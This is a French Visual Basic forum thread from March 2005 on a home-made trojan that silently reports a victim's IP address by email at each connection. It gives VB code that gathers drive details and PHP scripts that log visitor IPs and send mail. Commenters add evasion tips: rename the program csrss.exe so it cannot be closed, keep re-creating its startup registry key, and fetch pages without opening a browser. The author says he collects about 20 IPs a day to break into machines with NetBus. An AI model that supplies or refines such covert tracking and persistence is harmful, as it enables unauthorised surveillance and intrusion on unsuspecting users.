If Drv.IsReady Then DrvName Drv.Path & "\ [ " & Drv.VolumeName & " ]" Else DrvName Drv.Path & ""
Select Case Drv.DriveType
Case 1
TypeD = "Disquette "
Case 2
TypeD = "Disque dur "
Case 4
TypeD = "CD/DVD Rom "
Case 3
TypeD = "Réseau "
Case 5
TypeD = "Ram "
Case 6
TypeD = "Inconnu "
End Select
If Drv.IsReady Then
Msg = TypeD + Drv.Path + "" + vbCrLf
If Drv.VolumeName <> "" Then
Msg = Msg + "Nom du lecteur : " + Drv.VolumeName + vbCrLf
End If
Serie$ = Right$(String$(8, "0") + Hex$(Drv.SerialNumber), 8)
Serie$ = Left$(Serie$, 4) + "-" + Right$(Serie$, 4)
Msg = Msg + "N° de série du disque : " + Serie$ + vbCrLf
Status = GetDiskFreeSpaceEx(Drv & "", BytesAvailableToCaller, TotalBytes, FreeBytes)
Msg = Msg + "Espace total : "
If TotalBytes * 10000 > 1024 ^ 3 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 3), -1) & " Go"
Else
If TotalBytes * 10000 > 1024 ^ 2 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 2), -1) & " Mo"
Else
If TotalBytes * 10000 > 1024 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Espace libre : "
If FreeBytes * 10000 > 1024 ^ 3 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 3), -1) & " Go (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
If FreeBytes * 10000 > 1024 ^ 2 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 2), -1) & " Mo (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
If FreeBytes * 10000 > 1024 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024), -1) & " Ko (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Espace utilisé : "
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024), -1) & " Ko (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
End If
Set fso = Nothing
InfosDisk = Msg
End Function
---------------------------------------------------------------------
Pour l'utiliser c'est simple, tu fais:
infos = RecupInfosPc
Et apres ta plus ka rajouter la variable infos a la variable ki sera pour le script php $msg.
@+,
..::ElastycmaN::..
13 mars 2005 à 22:04
Laissez des remarques, suggestions, bugs etc... merci et oubliez pas de noter ! merci lol
12 mars 2005 à 15:46
12 mars 2005 à 15:29
Pour récupérer l'ip par la page php c'est tres simple :
tu fait en sorte que sur la page, il y ait juste l'ip d'écrit et tu fais dons ton prog vb :
ip=openurl(ip.php)
la variable ip récuperera ce qu'il y a marqué sur la page, donc l'ip.
Pour afficher juste l'ip dans la page php, je suppose que tu sais faire, tu met juste, reprend ma source que j'ai posté juste avant la tienne :
<?PHP
/* Coded by ElastycmaN */
$vraieip = getenv("HTTP_X_FORWARDED_FOR");
if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;
/* Et a la suite, tu remet ton script qui envoit l'ip par mail*/
?>
Pour vérifier si l'ip a changée, on a déja expliqué un peu plus haut comment faire.
..::ElastycmaN::..
11 mars 2005 à 23:17
11 mars 2005 à 19:51
sinon effectivement je doit changer le nom du prog et ne pas le mettre sur le c:\ mais en faite c'est car je test sur mon pc et c pr mieu me retrouver ;o) merci encore du conseil mais ou je peut trouver comment utiliser Inet ou un API ? merci =)
11 mars 2005 à 12:46
Si tu veux aller encore plus loin, appelle ton prog csrss.exe pour pas que l'utilisateur puisse le fermer et met un timer qui vérifie si la clef de démarrage existe tjrs (défois que la personne soit maligne et supprime la clef...).
11 mars 2005 à 12:43
Ta tjrs une fenetre IE qui s'ouvre??? Sinon jté di utilise le controle inet (ou un api) é utilise la fonction inet.openurl(tapage/ip.php). C'est beaucoup plus discret!
Et pourquoi tu dit que ton prog se ferme apres avoir envoyé l'ip?? Ta pas fait une vérification de changement d'ip, et si elle change alor le prog renvoi l'ip par mail...?
10 mars 2005 à 17:26
8 mars 2005 à 19:43
warnign ==> comme l'a très bien dit elastycman, tu compte envoyer toujours le mail à la même personne chaque fois qu'elle va se connecter ?? lol le but du programme est que j'ai l'ip de la personne dès qu'elle se connecte à l'ordinateur et je vais rajouter des timers pour voir si l'ip cange et si elle change elle le renvoi =) En tout cas le prog à l'air de marcher puisque je recois au moin 20 IP par jour lol mais bon rassurez vous je n'en fais rien ;o)
P.S : J'ai voulu créé un programme de ce genre pour pouvoir s'infiltrer dans des systemes plûtot de n00b lol (:xx:) et en faite c'est utile lors de l'utilisation de netbus car on peut uploader des fichiers et même l'executer... comme ça si on l'a une fois, on l'a pour toujours ;o)
LogOff==>effectivement bonne idée aussi
Elastycman et azerty ==> Je vais avoir du boulot avec toutes les idées données lol mais je vais le rendre performant grace à vous merci ;o) croyez moi, il risque pas d'en rester là ! =)
8 mars 2005 à 13:50
Le truc c'est que vb6fr.dll contient des message d'erreur en francais. Si tu remplace par une autre dll, il s'en fout le prog pasque il n' aura pas dedans l'appel voulu.
Si tu cherche sur le site c'est expliqué ptet mieux que je ne le fait la mais je sais plus sur kel post.
..::ElastycmaN::..
8 mars 2005 à 05:09
Sinon, vous parliez de supprimer vb6fr, comment faites-vous ? Je ne connai pas la manip... On peux aussi tout simplement utiliser une version anglaise de VB pour ne plus avoir cette DLL... ;-)
8 mars 2005 à 00:57
8 mars 2005 à 00:39
8 mars 2005 à 00:23
A savoir que seul msvbvm60.dll est utile, la dépendance a vb6fr.dll peut s'enlever avec une simple petite modification hexa, pour le controle Inet, dans ce cas la mieux vaut mettre l'API...
8 mars 2005 à 00:15
Je n'est pas dit que l'in ne pouvait pas recevoir de mail en html mais les formulaire html ne sont plus permis (sur hotmail), c'est leur parade au social engineering.....
8 mars 2005 à 00:11
Warning
http://www.decompiler-vb.net/
7 mars 2005 à 23:58
j'ai oublié le src dans
7 mars 2005 à 23:53
Encore une fois, tout dépend de l'utilisation envisagée pour le programme final mais ta technique Warning a deux désavantages, pour commencer, sache que les webmails classiques (jen suis certain pour hotmail) on un filtre mail qui empeche tte insertion de page ou de code malicieux ds les mails, et meme si cette technique () marchait il y a quelque années, les filtres deviennent vraiment trop performant et a ce jour je ne connais pa de technique pour contourner ce filtre, meme les formulaire html sont interdits depuis peu sur hotmail.... et le deuxieme désavantage vient tt simplement du fait que si tu veux avoir en permanence l'ip de la personne, ton idée de mail ne marche pas, alors que un programme qui se lance o démarrage de windob peut renvoyer en permanence par mail l'ip en cours d'utilisation sur le pc!
Ta technique est quand meme loin d'etre bete et ininterressante Warning, mais de nos jours, a mon avis, il y a tres tres peu de chance qu'elle marche.
Amicalement,
..::ElastycmaN::..
PS : chico200987, tu peux mettre la detection d'ip et lenvoi mail dans la meme page php a la suite en combinant le script que j'ai donné en commentaire un peu plus haut et ma source http://www.vbfrance.com/code.aspx?ID=29936.
7 mars 2005 à 22:46
dont le contenu de la page page.php nous permet d'enregistrer/nous envoyer l'IP du visiteur et hop le tour est joué.
Explication:
La personne reçoi le mail, le client mail va essayer d'ouvrir l'image "http://www.lesite.com/Page.php" en la téléchargeant, ainsi cette page va s'activer coté serveur et enregistrer l'IP.
Conclusion: désolé de dire ça mais cette source est completement inintéressante, et n'apprend aucune technique...
7 mars 2005 à 17:39
..::ElastycmaN::.. (avec un Y plz lol)
7 mars 2005 à 10:32
suggestion pour eviter un traitement en plus et alléger la boite mail: avant d'envoyer le mail contenant l'ip, vérifie si celle-ci a changé.
Comme ça, tu ne reçois un mail que qd l'ip change.
Sinon, je crois qu'il y a des apis pour telecharger une page web sans utiliser inet.
6 mars 2005 à 15:03
P.S : Notez la source pour que je vois ce qu'elle vaut, ce n'est que la premiere version et ma premiere source lol =)
6 mars 2005 à 13:31
http://www.vbfrance.com/code.aspx?ID=29936
6 mars 2005 à 13:28
------------------------- Page.php -------------------------------
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<?
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: $expediteur\n";
mail($adresse,$sujet,$message,$headers )
?>
</html>
-----------------------------------------------------------------
6 mars 2005 à 13:21
Si tu veux tjrs avoir l'ip de la personne par mail, ske je te conseil, c'est de faire tt dabord un timer ki vérifie si la personne est connecté, si elle l'est, tu envoi l'ip par mail via une page php et la l'astuce, c'est de fermer ton timer et douvrir un timer qui va vérifier si la personne est déconnectée, dès qu'elle est déconnectée, il se ferme et il reouvre le premier timer qui vérifie donc si la personne est connectée.
@+,
..::ElastycmaN::..
6 mars 2005 à 12:31
6 mars 2005 à 12:21
De 1, un trojan en VB, c'est vraiment pas discret.
De 2, ta solution aussi n'est pas très discrete. Ca fait pas un peu chelou d'avoir le navigateur qui s'ouvre tout seul ?! Tu peux toujours utiliser Inet, il te permet d'ouvrir une URL sans Internet Explorer et de récuperer le résultat de la page sous forme d'une variable (si tu le veux bien sûr). Dans ton cas, il faudrai seulement faire une requete GET sur ta page piégée et le script se déclancherai, sans IE, mais l'inconvéniant, un OCX en plus à trimbaler...
6 mars 2005 à 10:23
Warning>ben l'email est envoyé par la page php avec la fonction 'mail()' donc elle n'est pas dans la source VB mais dans la page PHP :)
voilà ++
6 mars 2005 à 08:54
6 mars 2005 à 08:25
mais ça ne change rien à ce que j'ai dit pour la méthode
6 mars 2005 à 08:23
- tu récupères l'ip grâce à winsock (y'a plein de moyen de façon)
- et tu envoies un mail directement depuis ton prog vb (là aussi il y a plein de moyens de le faire)
c'est une suggestion pour améliorer ton prog
@+
5 mars 2005 à 22:17
P.S : J'aimerai ajouter un timer pour que le prog se re-execute toute les x minutes car beaucoup ne sont pas connecté dès allumage du pc ;o) merci de m'aider :)